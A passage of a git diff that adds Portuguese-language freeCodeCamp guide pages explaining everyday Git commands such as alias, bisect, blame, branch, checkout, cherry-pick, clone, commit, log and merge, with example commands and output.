+Desta forma, você pode ver o último commit facilmente:
+
+```shell
+$ git last 
+ commit 66938dae3329c7aebe598c2246a8e6af90d04646 
+ Author: Josh Goebel <dreamer3@example.com> 
+ Date:   Tue Aug 26 19:48:51 2008 +0800 
+ 
+    test for current head 
+ 
+    Signed-off-by: Scott Chacon <schacon@example.com> 
+```
+
+```shell
+$ git config --global alias.st status --short --branch 
+```
+
+Quando você executar o comando `git st` , seu status do git será exibido em um formato simplificado.
+
+### Visualizar, editar e excluir aliases
+
+Para visualizar todos os aliases que você criou em sua máquina, execute o comando:
+
+```shell
+cat ~/.gitconfig 
+```
+
+Substituir `cat` por `nano` permite editá-los ou removê-los completamente.
+
+### Alias ​​para ver todos os aliases
+
+Para adicionar um alias para ver todos os outros criados em sua máquina, adicione o alias
+
+```shell
+    git config --global alias.aliases 'config --get-regexp alias' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-bisect/index.md b/client/src/guide/portuguese/git/git-bisect/index.md
new file mode 100644
index 0000000000..5089dac435
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-bisect/index.md
@@ -0,0 +1,36 @@
+---
+title: Git Bisect
+localeTitle: Git Bisect
+---
+## Git Bisect
+
+O comando `git bisect` ajuda você a encontrar commits que adicionaram mudanças específicas em seu projeto. Isso é particularmente útil se você precisar descobrir qual alteração introduziu um bug.
+
+Esse comando funciona fornecendo um commit "ruim" que inclui o bug e um "bom" commit antes do bug ser introduzido. Através da pesquisa binária, o `git bisect` selecionará os commits e pedirá que você identifique se o commit é "bom" ou "ruim". Isso continua até que o comando consiga encontrar o commit exato que introduziu a mudança.
+
+### Comandos de bissetos
+
+Para iniciar uma sessão de bisseção, você dirá ao git para iniciar uma sessão de bisseção, identificar uma versão "ruim" e identificar uma versão "boa". Assumindo que o commit atual está quebrado, mas commit `4b60707` é bom, você executará o seguinte:
+
+```shell
+git bisect start 
+ git bisect bad 
+ git bisect good 4b60707 
+```
+
+O Git irá verificar um commit entre as versões "good" e "bad" e produzir algo como o seguinte:
+```
+Bisecting: 2 revisions left to test after this (roughly 2 steps) 
+```
+
+Agora você deve dizer ao git se o commit atual funciona com `git bisect good` ou se o commit atual está quebrado com `git bisect bad` . Esse processo será repetido até que o comando seja capaz de imprimir o primeiro commit errado.
+
+Quando terminar, você deve limpar a sessão de divisão. Isso irá redefinir seu HEAD para o que era antes de iniciar a sessão de bisseção:
+
+```shell
+git bisect reset 
+```
+
+### Outros recursos
+
+*   [Documentação do Git bisect](https://git-scm.com/docs/git-bisect)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-blame/index.md b/client/src/guide/portuguese/git/git-blame/index.md
new file mode 100644
index 0000000000..6fe7ced2b9
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-blame/index.md
@@ -0,0 +1,40 @@
+---
+title: Git Blame
+localeTitle: Git Blame
+---
+## Git Blame
+
+Com `git blame` você pode ver quem mudou o que em um arquivo específico, linha por linha, o que é útil se você trabalha em uma equipe, em vez de sozinho. Por exemplo, se uma linha de código faz você se perguntar por que ela está lá, você pode usar `git blame` e você saberá quem deve perguntar.
+
+### Uso
+
+Você usa `git blame` assim: `git blame NAME_OF_THE_FILE`
+
+Por exemplo: `git blame triple_welcome.rb`
+
+Você verá uma saída como esta:
+
+```shell
+0292b580 (Jane Doe      2018-06-18 00:17:23 -0500 1) 3.times do 
+ e483daf0 (John Doe      2018-06-18 23:50:40 -0500 2)   print 'Welcome ' 
+ 0292b580 (Jane Doe      2018-06-18 00:17:23 -0500 3) end 
+```
+
+Cada linha é anotada com o SHA, nome do autor e data do último commit.
+
+### Aliasing Git Blame
+
+Alguns programadores não gostam da palavra "culpa", devido à conotação negativa que "culpar alguém" traz consigo. Além disso, raramente a ferramenta é usada para culpar alguém, mas para pedir conselhos ou entender o histórico de um arquivo. Portanto, às vezes as pessoas usam um alias para mudar a `git blame` para algo que soa um pouco mais legal, como `git who` , `git history` ou `git praise` . Para fazer isso, basta adicionar um alias git como este:
+
+`git config --global alias.history blame`
+
+Você pode encontrar mais informações sobre aliasing git commands [aqui](../git-alias/index.md) .
+
+### Plugins do Editor de Texto utilizando Git Blame
+
+Existem alguns plugins para editores de texto que utilizam `git blame` . Por exemplo, para criar algo como mapas de calor ou adicionar informações em linha para a linha atual que você está inspecionando. Um exemplo famoso é o [GitLense](https://gitlens.amod.io/) para o VSCode.
+
+### Leitura Adicional
+
+*   [Documentação do Git Blame](https://git-scm.com/docs/git-blame)
+*   [leituras adicionais sobre o uso do Git Blame](https://corgibytes.com/blog/2016/10/18/git-blame/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-branch/index.md b/client/src/guide/portuguese/git/git-branch/index.md
new file mode 100644
index 0000000000..4d0b1a2f02
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-branch/index.md
@@ -0,0 +1,133 @@
+---
+title: Git Branch
+localeTitle: Filial Git
+---
+## Filial Git
+
+A funcionalidade de ramificação do Git permite criar novas ramificações de um projeto para testar ideias, isolar novos recursos ou experimentar sem afetar o projeto principal.
+
+**Índice**
+
+*   [Exibir filiais](#view-branches)
+*   [Check-out um ramo](#checkout-a-branch)
+*   [Crie um novo ramo](#create-a-new-branch)
+*   [Renomear um ramo](#rename-a-branch)
+*   [Excluir um ramo](#delete-a-branch)
+*   [Comparar filiais](#compare-branches)
+*   [Ajuda com o Git Branch](#help-with-git-branch)
+*   [Mais Informações](#more-information)
+
+### Exibir filiais
+
+Para visualizar as ramificações em um repositório Git, execute o comando:
+
+```shell
+git branch 
+```
+
+Para visualizar as ramificações de rastreamento remoto e as ramificações locais, execute o comando:
+
+```shell
+git branch -a 
+```
+
+Haverá um asterisco (\*) ao lado do ramo em que você está no momento.
+
+Há várias opções diferentes que você pode incluir com o `git branch` para ver informações diferentes. Para mais detalhes sobre os ramos, você pode usar a opção `-v` (ou `-vv` , ou `--verbose` ). A lista de ramificações incluirá o valor SHA-1 e confirmará a linha de assunto para o `HEAD` de cada ramificação próxima a seu nome.
+
+Você pode usar a opção `-a` (ou `--all` ) para mostrar as ramificações locais, bem como quaisquer ramificações remotas para um repositório. Se você quiser apenas ver as ramificações remotas, use a opção `-r` (ou - `--remotes` ).
+
+### Check-out um ramo
+
+Para fazer o checkout de uma ramificação existente, execute o comando:
+
+```shell
+git checkout BRANCH-NAME 
+```
+
+Geralmente, o Git não permite que você efetue o checkout de outra ramificação, a menos que seu diretório de trabalho esteja limpo, porque você perderia qualquer alteração de diretório de trabalho que não estivesse comprometida. Você tem três opções para lidar com suas alterações: 1) Lixá-los (veja [Git checkout para detalhes](https://guide.freecodecamp.org/git/git-checkout/) ) ou 2) cometê-los (veja [Git commit para detalhes](https://guide.freecodecamp.org/git/git-commit/) ) ou 3) esconda-os (veja [Git stash para detalhes](https://guide.freecodecamp.org/git/git-stash/) ).
+
+### Crie um novo ramo
+
+Para criar uma nova ramificação, execute o comando:
+
+```shell
+git branch NEW-BRANCH-NAME 
+```
+
+Observe que esse comando cria apenas o novo ramo. Você precisará executar o `git checkout NEW-BRANCH-NAME` para mudar para ele.
+
+Há um atalho para criar e fazer o checkout de uma nova filial de uma só vez. Você pode passar a opção `-b` (para branch) com `git checkout` . Os seguintes comandos fazem o mesmo:
+
+```shell
+# Two-step method 
+ git branch NEW-BRANCH-NAME 
+ git checkout NEW-BRANCH-NAME 
+ 
+ # Shortcut 
+ git checkout -b NEW-BRANCH-NAME 
+```
+
+Quando você cria uma nova ramificação, ela inclui todas as confirmações da ramificação pai. O ramo pai é o ramo em que você está quando cria o novo ramo.
+
+### Renomear um ramo
+
+Para renomear uma ramificação, execute o comando:
+
+```shell
+git branch -m OLD-BRANCH-NAME NEW-BRANCH-NAME 
+ 
+ # Alternative 
+ git branch --move OLD-BRANCH-NAME NEW-BRANCH-NAME 
+```
+
+### Excluir um ramo
+
+O Git não permite excluir uma ramificação em que você está no momento. Primeiro, você precisa fazer o checkout de um ramo diferente e, em seguida, executar o comando:
+
+```shell
+git branch -d BRANCH-TO-DELETE 
+ 
+ # Alternative: 
+ git branch --delete BRANCH-TO-DELETE 
+```
+
+O ramo para o qual você muda faz a diferença. O Git lançará um erro se as alterações na ramificação que você está tentando excluir não estiverem totalmente mescladas na ramificação atual. Você pode sobrescrever isto e forçar o Git a deletar o branch com a opção `-D` (observe a letra maiúscula) ou usando a opção `--force` com `-d` ou `--delete` :
+
+```shell
+git branch -D BRANCH-TO-DELETE 
+ 
+ # Alternatives 
+ git branch -d --force BRANCH-TO-DELETE 
+ git branch --delete --force BRANCH-TO-DELETE 
+```
+
+### Comparar filiais
+
+Você pode comparar ramos com o comando `git diff` :
+
+```shell
+git diff FIRST-BRANCH..SECOND-BRANCH 
+```
+
+Você verá a saída colorida para as mudanças entre os ramos. Para todas as linhas que foram alteradas, a versão `SECOND-BRANCH` será uma linha verde começando com "+" e a versão `FIRST-BRANCH` será uma linha vermelha começando com "-". Se você não quiser que o Git exiba duas linhas para cada alteração, você pode usar a opção `--color-words` . Em vez disso, o Git mostrará uma linha com o texto excluído em vermelho e adicionou o texto em verde.
+
+Se você quiser ver uma lista de todas as ramificações que estão completamente mescladas em sua ramificação atual (em outras palavras, sua ramificação atual inclui todas as mudanças das outras ramificações listadas), execute o comando `git branch --merged` .
+
+### Ajuda com o Git Branch
+
+Se você esquecer como usar uma opção, ou quiser explorar outras funcionalidades em torno do comando `git branch` , você pode executar qualquer um destes comandos:
+
+```shell
+git help branch 
+ git branch --help 
+ man git-branch 
+```
+
+### Mais Informações:
+
+*   O comando `git merge` : [fCC Guide](https://guide.freecodecamp.org/git/git-merge/)
+*   O comando `git checkout` : [fCC Guide](https://guide.freecodecamp.org/git/git-checkout/)
+*   O comando `git commit` : [fCC Guide](https://guide.freecodecamp.org/git/git-commit/)
+*   O comando `git stash` : [fCC Guide](https://guide.freecodecamp.org/git/git-stash/)
+*   Documentação do Git: [branch](https://git-scm.com/docs/git-branch)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-checkout/index.md b/client/src/guide/portuguese/git/git-checkout/index.md
new file mode 100644
index 0000000000..0d7438a2f9
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-checkout/index.md
@@ -0,0 +1,73 @@
+---
+title: Git Checkout
+localeTitle: Git Checkout
+---
+## Git Checkout
+
+O comando `git checkout` alterna entre filiais ou restaura arquivos da árvore de trabalho. Existem várias opções diferentes para este comando que não serão abordadas aqui, mas você pode dar uma olhada em todas elas na [documentação](https://git-scm.com/docs/git-checkout) do [Git](https://git-scm.com/docs/git-checkout) .
+
+### Check-out de um commit específico
+
+para fazer checkout de um commit específico, execute o comando:
+
+```shell
+git checkout specific-commit-id 
+```
+
+podemos obter os ids de commit específicos executando:
+
+```shell
+git log 
+```
+
+### Check-out de uma agência existente
+
+Para fazer o checkout de uma ramificação existente, execute o comando:
+
+```shell
+git checkout BRANCH-NAME 
+```
+
+Geralmente, o Git não permite que você efetue o checkout de outra ramificação, a menos que seu diretório de trabalho esteja limpo, porque você perderia qualquer alteração de diretório de trabalho que não estivesse comprometida. Você tem três opções para lidar com as alterações: 1) lixá-las, 2) [confirmá-las](https://guide.freecodecamp.org/git/git-commit/) ou 3) [ocultá-las](https://guide.freecodecamp.org/git/git-stash/) .
+
+### Check-out um novo ramo
+
+Para criar e fazer check-out de uma nova filial com um único comando, você pode usar:
+
+```shell
+git checkout -b NEW-BRANCH-NAME 
+```
+
+Isso mudará automaticamente para o novo ramo.
+
+### Check-out de uma nova filial ou redefinir uma ramificação para um ponto inicial
+
+O comando a seguir é semelhante a fazer check-out de um novo branch, mas usa o sinalizador `-B` (observe o captital B) e um parâmetro opcional `START-POINT` :
+
+```shell
+git checkout -B BRANCH-NAME START-POINT 
+```
+
+Se o ramo `BRANCH-NAME` não existir, o Git irá criá-lo e iniciá-lo no `START-POINT` . Se a ramificação `BRANCH-NAME` já existir, o Git redefine a ramificação para `START-POINT` . Isso é equivalente a executar o `git branch` com `-f` .
+
+### Forçar um checkout
+
+Você pode passar a opção `-f` ou `--force` com o comando `git checkout` para forçar o Git a mudar de ramificações, mesmo se você tiver mudanças não preparadas (em outras palavras, o índice da árvore de trabalho é diferente de `HEAD` ). Basicamente, ele pode ser usado para jogar fora as mudanças locais.
+
+Quando você executa o seguinte comando, o Git ignorará as entradas não mescladas:
+
+```shell
+git checkout -f BRANCH-NAME 
+ 
+ # Alternative 
+ git checkout --force BRANCH-NAME 
+```
+
+### Anular alterações no seu diretório de trabalho
+
+Você pode usar o comando `git checkout` para desfazer as alterações feitas em um arquivo em seu diretório de trabalho. Isso irá reverter o arquivo de volta para a versão em `HEAD` :
+
+```shell
+git checkout -- FILE-NAME 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-cherry-pick/index.md b/client/src/guide/portuguese/git/git-cherry-pick/index.md
new file mode 100644
index 0000000000..250a2ea149
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-cherry-pick/index.md
@@ -0,0 +1,47 @@
+---
+title: Git Cherry Pick
+localeTitle: Git Cherry Pick
+---
+## Git Cherry Pick
+
+O comando `git cherry-pick` aplica as alterações introduzidas por algumas confirmações existentes. Este guia se concentrará em explicar esse recurso o máximo possível, mas é claro que a [documentação](https://git-scm.com/docs/git-cherry-pick) real do [Git](https://git-scm.com/docs/git-cherry-pick) sempre será útil.
+
+### Check-out de um galho existente Cherry Pick do mestre
+
+Para aplicar a alteração introduzida pelo commit na ponta do branch master e criar um novo commit com esta mudança. Execute o seguinte comando
+
+```shell
+git cherry-pick master 
+```
+
+### Verificar uma alteração de um commit diferente
+
+Para aplicar a alteração introduzida pela confirmação no valor de hash específico desejado, execute o seguinte comando
+
+```shell
+git cherry-pick {HASHVALUE} 
+```
+
+Isto adicionará as mudanças incluídas referenciadas naquele commit, ao seu repositório atual
+
+### Aplicar determinados commits de um branch para outro
+
+`cherry-pick` permite escolher entre os commits de um branch para o outro. Digamos que você tenha dois ramos, `master` e `develop-1` . No branch `develop-1` você tem 3 commits com commit ids `commit-1` , `commit-2` e `commit-3` . Aqui você só pode aplicar `commit-2` ao branch `master` por:
+
+```shell
+git checkout master 
+ git cherry-pick commit-2 
+```
+
+Se você encontrar algum conflito neste ponto, terá que corrigi-los e adicioná-los usando `git add` e, em seguida, poderá usar o sinalizador continue para aplicar o cherry-pick.
+
+```shell
+git cherry-pick --continue 
+```
+
+Se você deseja abortar um cherry-pick entre você pode usar o sinalizador abort:
+
+```shell
+git cherry-pick --abort 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-clone/index.md b/client/src/guide/portuguese/git/git-clone/index.md
new file mode 100644
index 0000000000..961cfdd880
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-clone/index.md
@@ -0,0 +1,55 @@
+---
+title: Git Clone
+localeTitle: Clone Git
+---
+## Clone Git
+
+O comando `git clone` permite que você copie um repositório remoto em sua máquina local.
+
+Primeiro, encontre o repositório remoto para o projeto no qual você está trabalhando ou com interesse - isso também pode ser o seu fork de um projeto. Em seguida, copie o URL para isso. Por exemplo, se você tiver bifurcado o repositório de guias freeCodeCamp, a URL será semelhante a `https://github.com/YOUR-GITHUB-USERNAME/guides.git` .
+
+Na linha de comando em sua máquina local, navegue até onde você deseja salvar o projeto em seu diretório de trabalho. Finalmente, execute o comando `git clone` :
+
+```shell
+git clone URL-OF-REPOSITORY 
+```
+
+O nome padrão do novo diretório em seu computador é o nome do repositório, mas você pode alterar isso incluindo o último parâmetro (opcional):
+
+```shell
+git clone URL-OF-REPOSITORY NAME-OF-DIRECTORY-ON-COMPUTER 
+```
+
+O Git fornece ao remoto o alias "origin". Essa é uma maneira útil de se referir ao controle remoto quando você deseja enviar suas alterações para o servidor remoto ou extrair alterações dele. Veja [Git push](https://guide.freecodecamp.org/git/git-push/) e [Git pull](https://guide.freecodecamp.org/git/git-pull/) para mais detalhes.
+
+O Git apenas puxa o ramo principal do controle remoto para o seu computador. Este ramo é geralmente chamado de "mestre" por convenção, mas pode ser definido de forma diferente dependendo do projeto.
+
+Além disso, o Git configura automaticamente sua ramificação principal local para rastrear a ramificação remota. Quando você executar o `git status` , verá informações sobre se sua filial local está atualizada com o controle remoto. Aqui está um exemplo de saída:
+
+```shell
+myCommandPrompt (master) >> git status 
+ On branch master 
+ Your branch is up-to-date with 'origin/master'. 
+ nothing to commit, working tree clean 
+ myCommandPrompt (master) >> 
+```
+
+Se o seu branch `master` local tiver três commits que você ainda não tenha enviado para o servidor remoto, o status dirá "Sua ramificação está à frente de 'origin / master' por 3 commits."
+
+### Git Clone Mirror
+
+Se você deseja hospedar o espelho de um repositório, você pode usar o parâmetro mirror.
+
+```shell
+git clone URL-OF-REPOSITORY --mirror 
+```
+
+Depois de espelhar um repositório, você pode clonar seu espelho local de seu servidor.
+
+```shell
+git clone NAME-OF-DIRECTORY-ON-COMPUTER 
+```
+
+### Mais Informações:
+
+*   Documentação do Git: [clone](https://git-scm.com/docs/git-clone)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-commit/index.md b/client/src/guide/portuguese/git/git-commit/index.md
new file mode 100644
index 0000000000..aea4e6f719
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-commit/index.md
@@ -0,0 +1,104 @@
+---
+title: Git Commit
+localeTitle: Git Commit
+---
+## Git Commit
+
+O comando `git commit` salvará todas as mudanças preparadas, junto com uma breve descrição do usuário, em um "commit" para o repositório local.
+
+Commits estão no centro do uso do Git. Você pode pensar em um commit como um instantâneo do seu projeto, onde uma nova versão desse projeto é criada no repositório atual. Duas características importantes de commits são:
+
+*   você pode lembrar as alterações confirmadas em uma data posterior ou reverter o projeto para essa versão ( [consulte Git checkout](https://guide.freecodecamp.org/git/git-checkout) )
+*   Se vários commits editarem diferentes partes do projeto, eles não irão sobrescrever um ao outro, mesmo que os autores do commit não tenham conhecimento um do outro. Esse é um dos benefícios de usar o Git em uma ferramenta como o Dropbox ou o Google Drive.
+
+### Opções
+
+Existem várias opções que você pode incluir com `git commit` . No entanto, este guia cobre apenas as duas opções mais comuns. Para uma extensa lista de opções, por favor consulte a [documentação](https://git-scm.com/docs/git-commit) do [Git](https://git-scm.com/docs/git-commit) .
+
+#### A opção -m
+
+A opção mais comum usada com o `git commit` é a opção `-m` . O `-m` significa mensagem. Ao chamar `git commit` , é necessário incluir uma mensagem. A mensagem deve ser uma breve descrição das alterações que estão sendo confirmadas. A mensagem deve estar no final do comando e deve estar entre aspas `" "` .
+
+Um exemplo de como usar a opção `-m` :
+
+```shell
+git commit -m "My message" 
+```
+
+A saída no seu terminal deve ser algo como isto:
+
+```shell
+[master 13vc6b2] My message 
+ 1 file changed, 1 insertion(+) 
+```
+
+**NOTA:** Se o `-m` não estiver incluído no comando `git commit` , você será solicitado a adicionar uma mensagem em seu editor de texto padrão - veja 'Usando mensagens detalhadas de commit' abaixo.
+
+#### A opção -a
+
+Outra opção popular é a opção `-a` . O `-a` representa todos. Esta opção automaticamente prepara todos os arquivos modificados para serem confirmados. Se novos arquivos forem adicionados, a opção `-a` não organizará esses novos arquivos. Apenas os arquivos dos quais o repositório Git está ciente serão confirmados.
+
+Por exemplo:
+
+Digamos que você tenha um arquivo `README.md` que já foi confirmado no seu repositório. Se você fizer alterações neste arquivo, poderá usar a opção `-a` no comando commit para preparar e incluir as mudanças em seu repositório. No entanto, e se você também adicionou um novo arquivo chamado `index.html` ? A opção `-a` não organizará o `index.html` pois ele não existe atualmente no repositório. Quando novos arquivos foram adicionados, o comando `git add` deve ser chamado para preparar os arquivos antes que eles possam ser confirmados no repositório.
+
+Um exemplo de como usar a opção `-a` :
+
+```shell
+git commit -am “My new changes” 
+```
+
+A saída no seu terminal deve ser algo como isto:
+
+```shell
+[master 22gc8v1] My new message 
+ 1 file changed, 1 insertion(+) 
+```
+
+### Usando mensagens de confirmação detalhadas
+
+Embora `git commit -m "commit message"` funcione bem, pode ser útil fornecer informações mais detalhadas e sistemáticas.
+
+Se você confirmar sem usar a opção `-m` , o git abrirá seu editor de texto padrão com um novo arquivo, que incluirá uma lista comentada de todos os arquivos / mudanças que estão em estágio no commit. Em seguida, você grava sua mensagem de confirmação detalhada (a primeira linha será tratada como a linha de assunto) e a confirmação será executada quando você salvar / fechar o arquivo.
+
+Tenha em mente:
+
+*   Mantenha o tamanho das suas linhas de mensagens de confirmação inferiores a 72 caracteres como prática padrão
+*   É perfeitamente ok - e até recomendado - escrever mensagens de confirmação de múltiplas linhas
+*   Você também pode se referir a outros problemas ou solicitar solicitações em sua mensagem de confirmação. O GitHub alocou uma referência numérica para todos os pedidos e problemas de pull, por exemplo, se você quer referir-se ao pull request # 788, simplesmente faça isso na linha de assunto ou no texto do corpo conforme apropriado.
+
+#### A opção --amend
+
+A opção `--amend` permite que você altere seu último commit. Vamos dizer que você acabou de cometer e você cometeu um erro na sua mensagem de log de commit. Você pode modificar convenientemente o commit mais recente usando o comando:
+
+```shell
+git commit --amend -m "an updated commit message" 
+```
+
+Se você esquecer de incluir um arquivo no commit:
+
+```shell
+git add FORGOTTEN-FILE-NAME 
+ git commit --amend -m "an updated commit message" 
+ 
+ # If you don't need to change the commit message, use the --no-edit option 
+ git add FORGOTTEN-FILE-NAME 
+ git commit --amend --no-edit 
+```
+
+Compromissos prematuros acontecem o tempo todo durante o desenvolvimento do dia-a-dia. É fácil esquecer o palco de um arquivo ou como formatar corretamente sua mensagem de commit. O sinalizador `--amend` é uma maneira conveniente de corrigir esses pequenos erros. Esse comando substituirá a antiga mensagem de confirmação pela atualização especificada no comando.
+
+Emendas modificadas são, na verdade, totalmente novas e o commit anterior não estará mais na sua ramificação atual. Quando você está trabalhando com outras pessoas, você deve tentar evitar cometer commits se o último commit já foi enviado para o repositório.
+
+Com `--amend` , um dos flag úteis que você pode usar é `--author` que permite alterar o autor do último commit que você fez. Imagine uma situação em que você não configurou corretamente seu nome ou e-mail nas configurações do git, mas você já fez um commit. Com o sinalizador `--author` você pode simplesmente alterá-las sem redefinir o último commit.
+```
+git commit --amend --author="John Doe <johndoe@email.com>" 
+```
+
+#### A opção -v ou --verbose
+
+A opção `-v` ou `--verbose` é usada sem a opção `-m` . A opção `-v` pode ser útil quando você deseja editar uma mensagem de commit do Git em seu editor padrão enquanto pode ver as mudanças que você fez para o commit. O comando abre seu editor de texto padrão com um modelo de mensagem de confirmação _, bem como_ uma cópia das alterações feitas para este commit. As alterações, ou diff, não serão incluídas na mensagem de commit, mas elas fornecem uma boa maneira de referenciar suas mudanças quando você as está descrevendo em sua mensagem de commit.
+
+### Mais Informações:
+
+*   Documentação do Git: [commit](https://git-scm.com/docs/git-commit)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-fetch/index.md b/client/src/guide/portuguese/git/git-fetch/index.md
new file mode 100644
index 0000000000..4cdddaabcf
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-fetch/index.md
@@ -0,0 +1,7 @@
+---
+title: Git Fetch
+localeTitle: Git Fetch
+---
+## Git Fetch
+
+O `git fetch` git-fetch - Baixar objetos e refs de outro repositório
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-hooks/index.md b/client/src/guide/portuguese/git/git-hooks/index.md
new file mode 100644
index 0000000000..91ea227ab9
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-hooks/index.md
@@ -0,0 +1,17 @@
+---
+title: Git Hooks
+localeTitle: Ganchos
+---
+## Ganchos
+
+Git Hooks são scripts localizados no diretório `.git/hooks/` de um repositório git. Esses scripts são executados depois de serem acionados por diferentes estágios no processo de controle de versão.
+
+### Amostras
+
+Nesse diretório, há vários scripts de amostra, como `pre-commit.sample` . Essa amostra específica é executada toda vez que um usuário executa `git commit` . Se o script de gancho sair com um status diferente de 0, o commit será interrompido.
+
+### Documentação
+
+*   [Documentação para Git Hooks](https://git-scm.com/docs/githooks)
+*   [Tutorial Atlassian em Ganchos Git](https://www.atlassian.com/git/tutorials/git-hooks)
+*   [Git Hooks Guide](http://githooks.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-hosting/index.md b/client/src/guide/portuguese/git/git-hosting/index.md
new file mode 100644
index 0000000000..0eaf817633
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-hosting/index.md
@@ -0,0 +1,11 @@
+---
+title: Git hosting
+localeTitle: Hospedagem Git
+---
+## Hospedagem Git
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/git/git-hosting/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-log/index.md b/client/src/guide/portuguese/git/git-log/index.md
new file mode 100644
index 0000000000..3c37674c7d
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-log/index.md
@@ -0,0 +1,124 @@
+---
+title: Git Log
+localeTitle: Git Log
+---
+## Git Log
+
+O comando `git log` exibe todos os commits no histórico de um repositório.
+
+Por padrão, o comando exibe cada confirmação:
+
+*   Algoritmo de hash seguro (SHA)
+*   autor
+*   encontro
+*   mensagem de commit
+
+### Navegando no Git Log
+
+O Git usa o pager do terminal Less para paginar através do histórico de commit. Você pode navegar com os seguintes comandos:
+
+*   para rolar para baixo por uma linha, use j ou ↓
+*   rolar para cima por uma linha, use k ou ↑
+*   para rolar para baixo uma página, use a barra de espaço ou o botão Page Down
+*   para rolar para cima uma página, use b ou o botão Page Up
+*   para sair do log, use q
+
+### Git Log Flags
+
+Você pode personalizar as informações apresentadas pelo `git log` usando sinalizadores.
+
+#### \--uma linha
+
+`git log --oneline`
+
+O sinalizador `--oneline` faz com que o `git log` seja exibido
+
+*   um commit por linha
+*   os primeiros sete caracteres do SHA
+*   a mensagem de commit
+
+#### \--stat
+
+`git log --stat`
+
+O sinalizador `--stat` faz com que o `git log` exiba
+
+*   os arquivos que foram modificados em cada commit
+*   o número de linhas adicionadas ou removidas
+*   uma linha de resumo com o número total de arquivos e linhas alterados
+
+#### \--patch ou -p
+
+`git log --patch`
+
+ou a versão mais curta
+
+`git log -p`
+
+O flag `--patch` faz com que `git log` exiba
+
+*   os arquivos que você modificou
+*   a localização das linhas que você adicionou ou removeu
+*   as mudanças específicas que você fez
+
+### Visualizar o número especificado de confirmações por autor
+
+Para visualizar um número especificado de commits por um autor para o repo atual (opcionalmente em um formato prettified), o seguinte comando pode ser usado
+
+`git log --pretty=format:"%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset" -n {NUMBER_OF_COMMITS} --author="{AUTHOR_NAME}" --all`
+
+#### Comece em um commit específico
+
+Para iniciar o `git log` em um commit específico, adicione o SHA:
+
+`git log 7752b22`
+
+Isto irá mostrar o commit com o SHA 7752b22 e todos os commits feitos antes do commit. Você pode combinar isso com qualquer um dos outros sinalizadores.
+
+#### \--gráfico
+
+`git log --graph`
+
+O sinalizador `--graph` permite que você visualize seu `git log` como um gráfico. Para tornar as coisas interessantes, você pode combinar este comando com a opção `--oneline` que aprendeu acima.
+
+`git log --graph --oneline`
+
+A saída seria semelhante a
+```
+* 64e6db0 Update index.md 
+ * b592012 Update Python articles (#5030) 
+ * ecbf9d3 Add latest version and remove duplicate link (#8860) 
+ * 7e3934b Add hint for Compose React Components (#8705) 
+ * 99b7758 Added more frameworks (#8842) 
+ * c4e6a84 Add hint for "Create a Component with Composition" (#8704) 
+ *   907b004 Merge branch 'master' of github.com:freeCodeCamp/guide 
+ |\ 
+ | * 275b6d1 Update index.md 
+ * |   cb74308 Merge branch 'dogb3rt-patch-3' 
+ |\ \ 
+ | |/ 
+ |/| 
+ | *   98015b6 fix merge conflicts after folder renaming 
+ | |\ 
+ |/ / 
+ | * fa83460 Update index.md 
+ * | 6afb3b5 rename illegally formatted folder name (#8762) 
+ * | 64b1fe4 CSS3: border-radius property (#8803) 
+```
+
+Uma das vantagens de usar este comando é que ele permite obter uma visão geral de como os commits foram mesclados e como o histórico do git foi criado.
+
+Existem outras opções que você pode usar em combinação com o `--graph` . `--decorate` deles são - `--decorate` e `--all` . Certifique-se de experimentá-los também. E consulte a [documantation](https://git-scm.com/docs/git-log) para mais informações úteis.
+
+#### Mais Informações:
+
+*   [Git Basics - Visualizando o Histórico de Commit](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History)
+*   [Git Log](https://git-scm.com/docs/git-log)
+
+##### Outros recursos no Git em guide.freecodecamp.org
+
+*   [Git Merge](../git-merge/index.md)
+*   [Git Checkout](../git-checkout/index.md)
+*   [Git Commit](../git-commit/index.md)
+*   [Git Stash](../git-stash/index.md)
+*   [Filial Git](../git-branch/index.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-merge/index.md b/client/src/guide/portuguese/git/git-merge/index.md
new file mode 100644
index 0000000000..eaa1d03d9d
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-merge/index.md
@@ -0,0 +1,61 @@
+---
+title: Git Merge
+localeTitle: Git Merge
+---
+## Git Merge
+
+O comando `git merge` irá mesclar quaisquer alterações que foram feitas na base de código em uma ramificação separada para sua ramificação atual.
+
+A sintaxe do comando é a seguinte:
+
+```shell
+git merge BRANCH-NAME 
+```
+
+Por exemplo, se você está trabalhando atualmente em uma ramificação chamada `dev` e gostaria de mesclar quaisquer novas alterações feitas em uma ramificação denominada `new-features` , você deve emitir o seguinte comando:
+
+```shell
+git merge new-features 
+```
+
+**Observe:** Se houver alterações não confirmadas na sua ramificação atual, o Git não permitirá que você se una até que todas as alterações na ramificação atual tenham sido confirmadas. Para lidar com essas mudanças, você pode:
+
+*   Crie uma nova ramificação e confirme as alterações
+
+```shell
